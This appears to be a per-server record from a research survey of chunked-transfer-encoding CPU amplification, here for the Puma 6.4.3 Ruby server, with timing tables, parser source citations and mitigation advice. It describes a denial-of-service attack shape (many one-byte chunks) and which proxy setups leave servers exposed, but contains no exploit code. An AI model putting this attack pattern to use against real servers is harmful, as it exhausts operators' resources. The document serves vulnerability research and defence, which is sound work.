chunkloris: puma

part of the chunkloris per-chunk amplification survey. this page is the per-server record for puma under http/1.1 chunked transfer encoding.

at a glance

server: puma 6.4.3
runtime: ruby-3.3.11
ecosystem: ruby
concurrency model: reactor-thread + threaded-workers (8)
parser: Puma pure-Ruby chunked decoder (Puma::Client#decode_chunk, lib/puma/client.rb)
delivery granularity: fully-buffered-tempfile-to-handler
chunk-limit helper: none exposed by the framework
verdict: per-chunk — the parser/dispatcher boundary delivers one event per wire chunk. cpu cost under paced mode b is measurable per chunk.
scaling exponent (mode a): 1.00 (wall time vs N, log-log slope across common cells)

measurements

all cells run on a 1-vcpu docker container. cpu cost is derived from the target container’s cgroup v2 cpu.stat usage_usec delta around each cell.

mode	N	wall (s)	server cpu %	µs / chunk	basis	ok
`A-bridge-coalesced`	50,000	0.055	152.8	1.674	server-cpu-cgroup	✓
`A-bridge-coalesced`	100,000	0.110	128.7	1.410	server-cpu-cgroup	✓
`A-bridge-coalesced`	250,000	0.306	—	1.220	wall	✓
`B-paced-100us`	50,000	5.124	8.5	8.702	server-cpu-cgroup	✓
`B-paced-100us`	100,000	10.245	8.1	8.271	server-cpu-cgroup	✓
`B-paced-100us`	250,000	26.110	27.7	28.900	server-cpu-overhead	✓

parser path — source citations

chunked-decoder — lib/puma/client.rb:526-630 (decode_chunk)
reactor-read-loop — lib/puma/client.rb:478-501 (read_chunked_body)
tempfile-body — lib/puma/client.rb:504-517 (setup_chunked_body)

what this means

the parser/dispatcher path on this server delivers one event per chunked-transfer-encoding chunk, so an attacker who sends a body as N one-byte chunks consumes roughly N × (mode-b µs/chunk) of server cpu on a single core. amplification scales linearly with N until the framework’s max_request_body_size (or equivalent) is hit.

what to do today

if this server runs as an origin behind nginx with the default proxy_request_buffering on, the per-chunk attack shape does not reach this server — nginx delivers one content-length-framed body to the upstream in a single recv().
if deployed direct-exposed, behind haproxy with default streaming, or behind any reverse proxy with proxy_request_buffering off, the per-chunk cost reaches this server.
there is no framework-level chunk-count limit in the default config; use a frontend buffer, transport-layer rate limiting, or a wrapping middleware that imposes a chunk-count cap before draining the body.

reproducer

the full reproducer for this server is in the paper repo. the docker container pins puma 6.4.3 and constrains the test container to a single cpu (--cpus=1). the prober script implements mode a (bridge-coalesced) and mode b (paced 100 µs) per the methodology section.

see the draft pdf for the full per-framework discussion.